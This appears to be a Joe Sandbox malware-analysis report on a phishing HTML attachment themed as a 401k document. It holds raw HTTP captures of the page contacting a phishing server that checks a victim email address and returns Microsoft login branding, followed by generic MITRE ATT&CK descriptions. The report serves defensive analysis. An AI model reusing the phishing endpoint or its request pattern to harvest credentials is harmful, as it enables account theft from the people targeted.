2024-12-19 14:13:36 UTC	581	OUT	POST /next.php HTTP/1.1 Host: newmind.federalcourtfiles.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:36 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-12-19 14:13:39 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:39 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NX0NSaPh6HVfBwq2S09LFx8dmGq1BUQ7mYk6IcTE5T1jDQObP5aXuZ8UzrmkTZIdh%2B1QqpOJs5UUKZEUPA%2FdV4Yol0j03oo0rjWa2Gh%2FK9STlmb8D8m8lV%2BlpcGAt8kjToA8xavl7Y0gLBMlJVO5wQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47fe89f95b0c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1503&min_rtt=1503&rtt_var=751&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4250&recv_bytes=1194&delivery_rate=273382&cwnd=153&unsent_bytes=0&cid=1f9a467a3c164c8e&ts=2844&x=0"
2024-12-19 14:13:39 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2024-12-19 14:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49733	104.21.26.217	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:42 UTC	361	OUT	GET /next.php HTTP/1.1 Host: newmind.federalcourtfiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:42 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:42 GMT Content-Type: application/json Content-Length: 0 Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uckkk%2BzIYpubCM6CPdCpXNtz6jOiOnBrBqbEzKAmERnZALAKM7wjWHTdDDUsVtdDOyZf2G0iJDDRVKu%2FrovhPfR2ulpoZdbAyrex6MpwOpNTEztfTE%2F78CNlwnA5W%2B3mAmnt84ImyU4JhVkHtMGqxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47feac9aca8c8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&min_rtt=2046&rtt_var=778&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=939&delivery_rate=1397129&cwnd=209&unsent_bytes=0&cid=f204b97f1db0e184&ts=469&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49739	152.199.21.175	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:44 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:45 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5569725 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Thu, 19 Dec 2024 14:13:44 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-19 14:13:45 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49742	172.67.139.114	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:45 UTC	639	OUT	POST /next.php HTTP/1.1 Host: newmind.federalcourtfiles.com Connection: keep-alive Content-Length: 46 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:45 UTC	46	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 65 61 6c 6c 65 6e 74 6f 66 66 40 62 6f 75 6e 64 6c 65 73 73 6e 65 74 77 6f 72 6b 2e 63 6f 6d Data Ascii: do=check&email=eallentoff@boundlessnetwork.com
2024-12-19 14:13:45 UTC	938	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkjx8%2FBohDLu4PeTg4mjchPkd095rJjBkIbqbUv9JlcRIjhZUzgufo5MBIPHf%2F7Env8an45HOGYZR46BIWBnKcwyVH9YuCo8uufT%2F7jQr%2BNo%2Bs3YhNFZuWuuFT2pFtHcvDwxDAo1as5pypXMZ6cQxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47febe396632f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1995&min_rtt=1983&rtt_var=768&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1285&delivery_rate=1401824&cwnd=112&unsent_bytes=0&cid=7663d57a6702a9b6&ts=889&x=0"
2024-12-19 14:13:45 UTC	384	IN	Data Raw: 31 37 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6f 6f 36 68 68 6c 77 73 61 6f 66 31 6f 79 6e 66 7a 71 6c 75 74 71 30 6f 68 6a 79 68 63 62 70 79 65 66 32 77 65 7a 75 65 6d 38 38 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 38 34 39 34 31 32 39 35 32 33 30 32 31 37 33 31 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6f 6f 36 68 68 6c 77 73 61 6f 66 31 6f 79 6e Data Ascii: 179{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-oo6hhlwsaof1oynfzqlutq0ohjyhcbpyef2wezuem88\/logintenantbranding\/0\/bannerlogo?ts=638494129523021731","background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-oo6hhlwsaof1oyn
2024-12-19 14:13:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49753	152.199.21.175	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:46 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:47 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5569728 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Thu, 19 Dec 2024 14:13:47 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-19 14:13:47 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49761	104.21.26.217	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:48 UTC	361	OUT	GET /next.php HTTP/1.1 Host: newmind.federalcourtfiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:49 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:48 GMT Content-Type: application/json Content-Length: 0 Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=efsbX2ynjDkr4GylBhzL245kKa8ofwrRm%2BcV1eVrCHuypfHmWNNoLBO%2BBQVOIMQZMTrXM4VURGSrjJyhieXO8z1GU1PSLi11XpPFs3n%2Ff6smiql4zJU3peCK6eghaxWIjN6CE3guRLv%2BoAzQss8zXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47fed4cdfe238e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2073&min_rtt=2061&rtt_var=781&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=939&delivery_rate=1416787&cwnd=232&unsent_bytes=0&cid=554f481e3b715ffb&ts=468&x=0"

Target ID:	0
Start time:	09:13:21
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Eallentoff_401k_1484013830.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:13:26
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1912,i,8317850328401049871,5214571603625753551,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Eallentoff_401k_1484013830.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

General

Windows Analysis Report
Eallentoff_401k_1484013830.html